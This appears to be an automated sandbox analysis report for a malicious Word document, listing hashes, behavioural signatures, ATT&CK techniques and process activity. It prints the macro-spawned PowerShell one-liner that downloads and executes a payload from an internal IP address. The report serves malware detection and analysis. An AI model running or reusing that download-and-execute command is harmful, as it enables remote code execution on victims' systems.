5cf13a476f1f40376b32a6fd7b866a8d1441f98cc131a8bbcebe35e7dcf0dff2

General

Target

5cf13a476f1f40376b32a6fd7b866a8d1441f98cc131a8bbcebe35e7dcf0dff2.doc
Size

34KB
MD5

5c2797ab79310c379e44ae2987dca9f3
SHA1

2fcc0edddc6274f89e03711ae40c8e5ef0bb47e9
SHA256

5cf13a476f1f40376b32a6fd7b866a8d1441f98cc131a8bbcebe35e7dcf0dff2
SHA512

6c31d93e8f3a22ce20ecfe3d6a0e2b1c72f9526b4c39a197dea6d47ffb282a00cb44768bdd57c57a2772af749d989564a4b6ec8b14f47d997a1e5cabee013a4c
SSDEEP

384:A3SiSwvxjk+tb/sWk+MlTT50jmtcgWFeFaJH:A3Vxw+tD7SXMgWFeFa9

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://192.168.166.158/payload.txt

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 636 1728 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

636 powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	636	1728	powershell.exe

pid	process
636	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3048 WINWORD.EXE
3048 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

636 powershell.exe
636 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 636 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3048 WINWORD.EXE
3048 WINWORD.EXE
3048 WINWORD.EXE
3048 WINWORD.EXE
3048 WINWORD.EXE
3048 WINWORD.EXE
3048 WINWORD.EXE

pid	process
3048	WINWORD.EXE
3048	WINWORD.EXE

pid	process
636	powershell.exe
636	powershell.exe

description	pid	process
Token: SeDebugPrivilege	636	powershell.exe

pid	process
3048	WINWORD.EXE
3048	WINWORD.EXE
3048	WINWORD.EXE
3048	WINWORD.EXE
3048	WINWORD.EXE
3048	WINWORD.EXE
3048	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5cf13a476f1f40376b32a6fd7b866a8d1441f98cc131a8bbcebe35e7dcf0dff2.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3048

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -exec bypass -nop -c IEX((New-Object System.Net.WebClient).DownloadString('http://192.168.166.158/payload.txt'))
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:636

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\TCDE49B.tmp\sist02.xsl
Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_txmws0rq.pkl.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Filesize
1KB

MD5
83933a816669376f06c632e2d2a26a47

SHA1
810026b9dd5070020046ec4337bff005d079ad62

SHA256
56dfe337060da028935374007c4baa0ae9caead646707b59d85f2d1110c32dad

SHA512
3c1da227d4da264729a062a19d8a26e5b6d2c5d8cf4075999bab7bf562778637730b1df8702d3e98c949d99435e77bc4345e96317705132c5127c5ee20d69b44

Download Submit
memory/636-35-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/636-174-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/636-42-0x00000218C2100000-0x00000218C2122000-memory.dmp

Filesize
136KB

Download
memory/3048-17-0x00007FFBE37C0000-0x00007FFBE37D0000-memory.dmp

Filesize
64KB

Download
memory/3048-20-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/3048-9-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/3048-6-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/3048-11-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/3048-12-0x00007FFBE37C0000-0x00007FFBE37D0000-memory.dmp

Filesize
64KB

Download
memory/3048-10-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/3048-13-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/3048-15-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/3048-18-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/3048-0-0x00007FFBE6010000-0x00007FFBE6020000-memory.dmp

Filesize
64KB

Download
memory/3048-16-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/3048-14-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/3048-7-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/3048-22-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/3048-21-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/3048-19-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/3048-30-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/3048-31-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/3048-8-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/3048-4-0x00007FFBE6010000-0x00007FFBE6020000-memory.dmp

Filesize
64KB

Download
memory/3048-5-0x00007FFC2602D000-0x00007FFC2602E000-memory.dmp

Filesize
4KB

Download
memory/3048-1-0x00007FFBE6010000-0x00007FFBE6020000-memory.dmp

Filesize
64KB

Download
memory/3048-3-0x00007FFBE6010000-0x00007FFBE6020000-memory.dmp

Filesize
64KB

Download
memory/3048-171-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download
memory/3048-2-0x00007FFBE6010000-0x00007FFBE6020000-memory.dmp

Filesize
64KB

Download
memory/3048-175-0x00007FFC25F90000-0x00007FFC26185000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads